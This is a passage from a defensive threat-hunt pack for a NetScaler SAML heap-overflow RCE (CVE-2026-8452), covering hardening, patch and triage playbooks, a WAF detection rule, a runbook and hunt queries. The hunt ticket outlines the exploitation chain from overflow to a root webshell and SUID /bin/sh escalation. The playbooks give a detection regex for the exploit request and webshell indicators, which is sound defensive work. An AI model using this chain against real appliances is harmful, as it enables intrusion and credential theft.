  • Audit which appliances meet the vulnerable precondition before assuming scope — search each running config for the AAA/Gateway vserver + SAML SP/IdP combination (Section 7 / Section 10 audit block). Sequence patching to confirmed-vulnerable boxes first. Framework: Citrix CTX696604 precondition guidance.
  • If immediate patching isn't possible, restrict inbound exposure at the network layer — allowlist source IPs to known IdP/SP peers where your SAML trust relationship permits it, and remove any unnecessary internet exposure of the AAA/Gateway management interface. Framework: M1037 (Filter Network Traffic); ⚠ best-practice, no formal NetScaler-specific benchmark.
Short-term — 1 to 4 weeks
  • Deploy WAF/reverse-proxy filtering for the exploit's request signature if a WAF sits in front of the appliance: block/alert on a PrefixList attribute exceeding a reasonable token count. Compensating control only — does not fix the underlying overflow. Framework: M1037; ⚠ best-practice, signature derived from watchTowr Labs' public analysis, not vendor-published.
  • Stand up file-integrity monitoring on /var/vpn/theme/ and the permission bits on /bin/sh. Most orgs lack FIM on NetScaler today — this is the highest-value new capability for this threat class, since it's the only way to detect a successful compromise without syslog forwarding already in place. Framework: M1022 (Restrict File and Directory Permissions); ⚠ best-practice.
  • Forward NetScaler syslog and access logs to your SIEM if not already doing so. Without this, none of Section 8's appliance-side queries (Q1-4) are observable at all. Framework: ⚠ best-practice / general log-forwarding hygiene.
Long-term / structural — 1 to 3 months
  • Segment the NetScaler management/DMZ subnet so a compromised appliance cannot freely reach internal EDR-covered infrastructure — restrict outbound connectivity to only the specific internal services it legitimately needs. Framework: M1030 (Network Segmentation); ⚠ best-practice, standard DMZ segmentation principle.
  • Establish a credential/key rotation cadence for everything the NetScaler AAA/SAML configuration touches (LDAP/AD bind password, SAML signing certificate/private key, session secrets), independent of confirmed compromise — this exploit chain grants a durable root webshell that survives a pitboss respawn, not just a crash-and-reboot. Framework: credential-hygiene best-practice.
  • Track Citrix's binary-hardening posture for nsppe (non-PIE, no ASLR, executable heap were all named as contributing factors). Not customer-configurable, but belongs in vendor-risk and renewal conversations. Framework: contextual vendor-risk note, not a deployable control.

See also: this appliance family also has a separate, already-hardened CVE-2026-8451 (a distinct SAML memory-overread/session-token-leak bug via the NSC_TASS cookie at /saml/login, CWE-125, different exploitation chain). Review that pack's hardening section too if this NetScaler estate is in scope for both.

13

Deployable Playbooks

Playbook A — Patch + compromise assessment (NetScaler CLI)

Prerequisites: console/SSH access to the appliance; a maintenance window for the firmware upgrade; the fixed-build image staged. Reboot required: yes — the firmware upgrade in step 2 reboots the appliance. Rollback: keep the pre-upgrade firmware image and current config backup (save ns config beforehand); if the upgrade causes an operational issue, restore from the last known-good firmware snapshot per your standard NetScaler upgrade rollback procedure.

# 1. Confirm current version and exposure
show ns version
show running -sed 's/^/ /' | grep -E "add (authentication vserver|vpn vserver)"

# 2. BEFORE patching, run the compromise-assessment checklist (do this first —
#    an upgrade can overwrite evidence of a prior compromise):
find /var/vpn -iname 'x.php' -o -iname 'z.php'
ls -l /bin/sh
grep -i 'sigbus\|sigsegv' /var/log/ns.log

# 3. If any indicator above is positive, STOP and treat as a confirmed compromise:
#    rotate every secret the appliance holds (step 5) and prefer a clean
#    reimage over an in-place patch for that box.

# 4. Upload + install the fixed build via the CLI or GUI, then reboot
#    (target: 14.1-72.61 / 13.1-63.18 / 13.1-37.272 FIPS or later)

# 5. Rotate secrets the appliance holds regardless of confirmed compromise:
#    AAA/LDAP bind credentials, RADIUS shared secrets, SAML signing cert/key
#    set samlAuthnRequestsProfile / samlIdPProfile -samlIdPCertName <new_cert>

Playbook B — WAF virtual-patch for the SAML PrefixList overflow (pseudo-rule)

Prerequisites: WAF or reverse proxy positioned in front of the NetScaler SAML auth endpoint, capable of inspecting request bodies. Reboot required: no. Rollback: disable/remove the rule — it is a request-inspection filter with no persistent state change.

# Reject a SAML SignedInfo whose PrefixList is abnormally long:
IF  request.body matches "<ec:InclusiveNamespaces[^>]*PrefixList=\"[^\"]{200,}\""
THEN block, log(source_ip, request_id)

# Baseline note: legitimate PrefixList values are normally a handful of short
# namespace prefixes (well under 200 characters). Tune the threshold to your
# own observed traffic before enabling in blocking mode.

Playbook C — Appliance compromise triage (shell checklist)

Prerequisites: shell access to the NetScaler appliance. Reboot required: no — this is a read-only triage pass. Rollback: none required — no state is changed by running these checks.

# Web shell / privesc artifacts
find /var/vpn -iname 'x.php' -o -iname 'z.php' -newer /var/log/ns.log
ls -l /bin/sh                                   # look for an unexpected SUID bit
find / -perm -4000 -newer /var/log/ns.log 2>/dev/null   # any new SUID binaries?

# Crash / partial-respawn pattern
grep -i 'sigbus\|sigsegv\|nsppe' /var/log/ns.log | tail -100

# If ANY of the above are positive: rotate every secret the appliance holds
# (AAA/LDAP bind creds, RADIUS shared secrets, SAML signing keys), and treat
# the box as compromised for IR purposes even after patching.
14

Containment Runbook

PhaseActionsOwnerEvidence to Preserve
1. TriageConfirm firmware version and precondition match on the affected appliance; check for the crash+respawn-without-reboot signature and webshell path (Section 7/8)SOC / Network Securityns.log/syslog excerpt, HTTP access log excerpt, firmware version output
2. ContainIf a webshell or SUID change is confirmed: isolate the appliance from further inbound SAML traffic (or take fully offline) — a webshell surviving a pitboss respawn means a durable foothold, not just a crashNetwork Security / Incident CommanderScreenshot/log of the containment action and timestamp
3. EradicateRebuild or fully re-image the appliance rather than trusting an in-place cleanup — root compromise on a device with a fixed-address, non-PIE binary and a durable webshell warrants full rebuild. Patch to fixed firmware before returning to serviceNetwork SecurityRebuild ticket, new firmware version confirmation
4. Recover credentialsRotate every credential/key the NetScaler AAA/SAML config had access to: LDAP/AD bind account, SAML signing certificate/private key, session secretsIdentity/IAM teamRotation ticket references, timestamps
5. Hunt for pivotRun Queries 5-7 (Section 8) against Falcon-covered infrastructure reachable from the appliance's subnet for the period following suspected compromiseSOC / Threat HuntingQuery results, any confirmed lateral-movement findings escalated as a separate incident
6. Lessons learnedConfirm log forwarding gap (Q1-4) is closed going forward; confirm FIM coverage added; update the precondition-audit inventorySecurity EngineeringUpdated runbook, closed remediation tickets
15

Detection Coverage Map

TechniqueBehaviorCQLIOACoverage
T1190Oversized SAML PrefixList overflow probeGAP (native-log only)
T1562.001Signal-handler neutralization / crash-survivalGAP (native-log only)
T1505.003Web shell drop on the appliance itselfGAP (off-sensor, appliance filesystem)
T1548SUID privesc on /bin/sh (appliance)GAP (off-sensor)
T1505.003 / T1059Web-shell command execution replayed on an instrumented hostQ3Web-Shell Command ExecutionGood
T1552 / T1078Harvested AAA/LDAP credential reuseQ1Partial
T1033/T1082/T1087Discovery burst on landed hostQ2Discovery Burst — Gateway PivotGood
T1021 / T1078Lateral logon sourced from Gateway/AAA VIP/SNIPQ4Partial
T1071/T1041C2 / tooling staging from DMZ segmentQ5Partial (needs enrichment)
T1543.003 / T1053.005Service/task persistence post-pivotQ6Shell-Backed Service CreationGood

Known gaps: the exploit primitive, the memory-corruption chain, the crash-survival trick, and the confirmed web-shell/SUID artifacts are all off-sensor — recoverable only from NetScaler logs and appliance-side FIM/shell checks (§7, §10, §13 Playbook C). The Falcon queries here begin at credential reuse and lateral pivot. Closing the primary gap = forwarding appliance logs to the SIEM, deploying the native H1/H2 rules, and running the compromise-assessment checklist on every exposed appliance.

Validation: telemetry-ready, compromise-assessment, and benign-baseline gates (§11) must pass before Q1/Q2/Q5/Q6 are promoted from Investigate to Detect.

16

Hunt Summary Ticket

TITLE:      CVE-2026-8452 — NetScaler SAML Memory-Corruption RCE
SEVERITY:   Critical (CVSS 8.8, unauthenticated RCE as root; exploited ITW; CISA KEV 2026-08-26)
SCOPE:      NetScaler ADC/Gateway as Gateway/AAA vserver (pre-fix) + internal estate reachable
            via the appliance segment / harvested appliance credentials
HYPOTHESIS: Unauth heap overflow in SAML SignedInfo canonicalization -> write-what-where ->
            RIP control -> PHP web shell (x.php/z.php) as root -> credential harvest -> pivot
QUERIES:    Q1 AAA/LDAP cred-reuse · Q2 discovery burst · Q3 web-shell naming convention ·
            Q4 VIP/SNIP-sourced logons · Q5 DMZ beacon (needs enrichment) · Q6 service/task persistence
DO FIRST:   1) Patch to 14.1-72.61 / 13.1-63.18 / 13.1-37.272 FIPS+  2) Run compromise-assessment
            checklist (x.php/z.php, SUID /bin/sh, crash/respawn log) BEFORE trusting the patch
            3) Rotate AAA/LDAP/RADIUS creds + SAML signing cert regardless of confirmed compromise
FINDINGS:   <record oversized-PrefixList hits, nsppe crash/respawn events, web-shell artifacts,
            replayed-credential logons>
GAPS:       Exploit, memory corruption, crash-survival, and confirmed web-shell drop are off-sensor
            (native-log/appliance-FIM only); no literal attacker IPs/hashes/domains published yet
ACTIONS:    Replace REPLACE_* tokens (VIP/SNIP, DMZ subnet, AAA service account, IOCs) before deploy;
            Falcon-contain hosts flagged by Q1/Q4/Q6; treat any positive compromise-assessment
            finding as a full IR event, not a patch-and-close
OWNER:      <assign>          VERSION: v0.3 · 2026-08-28
17

Changelog

v0.32026-08-28Merged refresh after CISA added CVE-2026-8452 to the KEV catalog on 2026-08-26 (remediation deadline 2026-08-29) and watchTowr Labs demonstrated on 2026-08-14 that Citrix's original "denial of service" characterisation understated the flaw: the overflow yields a write-what-where primitive and full RCE. Rebuilt the intel half — executive summary, source review, IOC table and playbooks — and moved the appliance-side exploit, crash-survival and web-shell detections into section 7 as native audit-log hunts, since they are not Falcon-observable. Kept the validated section 11/12/14 content and re-added the two endpoint queries the rebuild did not cover: failed-logon spray (T1078) and inbound lateral movement (T1021). Content-Security-Policy header restored. No query from v0.2 was silently dropped.
v0.22026-08-21Validated all seven CQL queries: rebuilt Q1 token counting with splitString plus array:length, removed nonportable custom event names from Q1-Q4, replaced invalid CIDR placeholders in Q5/Q6, and corrected Q6 to inbound NetworkReceiveAcceptIP4 telemetry with LocalPort and process correlation.
v0.12026-08-18Initial pack: full research brief, 7 CQL hunt queries (4 appliance-log-dependent, 3 native-Falcon post-pivot), Custom IOA recommendation, tiered hardening, containment runbook, and honest Falcon-coverage framing for a FreeBSD-firmware appliance with no native sensor.
18

References

TierSourceUsed forAccessed
1 VendorCitrix / Cloud Software Group — NetScaler ADC and NetScaler Gateway Security Bulletin CTX696604CVE scope for both CVE-2026-8451 and CVE-2026-8452, CWE classification, CVSS vectors, preconditions, fixed builds, config-audit detection strings2026-08-28
1 GovCISA — Adds Six Known Exploited Vulnerabilities to CatalogKEV addition date, FCEB remediation deadline, BOD 26-04 context2026-08-28
2 PressHelp Net Security — Previously patched Citrix NetScaler flaw exploited in the wild (CVE-2026-8452)KEV context, patch timeline, Previdian web-shell/discovery-command IOCs2026-08-28
2 ResearchwatchTowr Labs — You're Back In The Room (Citrix NetScaler Pre-Auth RCE CVE-2026-8452(?))Primary technical source: root-cause writeup, exploitation chain, RCE proof, web-shell drop path/content, SUID privesc technique2026-08-28
2 PressThe Hacker News — CISA Adds Six Exploited Flaws to KEV, Including NetScaler, Linux, and SQL Server BugsExploitation scale telemetry (36 attempts / 12 IPs / 10 countries), corroboration of web-shell IOCs2026-08-28
2 PressSecurityWeek — Recent Citrix NetScaler Vulnerability Exploited in the WildCorroboration of Citrix's original DoS-only classification vs. watchTowr's RCE finding2026-08-28
2 PressBleepingComputer — CISA orders feds to patch Citrix NetScaler RCE flaw by SaturdayShadowserver exposure telemetry, KEV/BOD 26-04 deadline confirmation2026-08-28
3 Cross-refCVE-2026-8451-NetScaler-SAML-Hunt.html (this HuntPack library, published 2026-07-24)Sibling-CVE distinction and non-duplication boundary (overread/disclosure vs. this pack's overflow/RCE)2026-08-28